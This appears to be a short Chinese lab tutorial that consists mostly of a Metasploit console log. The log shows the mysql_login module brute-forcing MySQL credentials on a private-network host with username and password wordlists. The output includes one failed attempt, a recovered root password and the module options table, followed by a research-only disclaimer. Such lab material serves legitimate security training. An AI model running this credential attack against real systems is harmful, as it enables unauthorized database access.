开启kail-linux

msf > use  auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set RHOST 192.168.3.179
RHOST => 192.168.3.179
msf auxiliary(mysql_login) > set user_file username.txt
user_file => username.txt
msf auxiliary(mysql_login) > set pass_file passwd.txt
pass_file => passwd.txt
msf auxiliary(mysql_login) > run
[-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: RHOSTS.
msf auxiliary(mysql_login) > set RHOSTS 192.168.3.179
RHOSTS => 192.168.3.179
msf auxiliary(mysql_login) > set user_file username.txt
user_file => username.txt
msf auxiliary(mysql_login) > set pass_file passwd.txt
pass_file => passwd.txt
msf auxiliary(mysql_login) > run

[*] 192.168.3.179:3306 MYSQL - Found remote MySQL version 5.6.47
[!] No active DB -- Credential data will not be saved!
[-] 192.168.3.179:3306 MYSQL - LOGIN FAILED: root:123456 (Incorrect: Access denied for user 'root'@'192.168.3.56' (using password: YES))
[+] 192.168.3.179:3306 MYSQL - Success: 'root:password'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) >

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE         passwd.txt       no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            192.168.3.179    yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE         username.txt     no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

说明：仅供研究学习，勿用于非法用途！

http://old.kali.org/kali-images/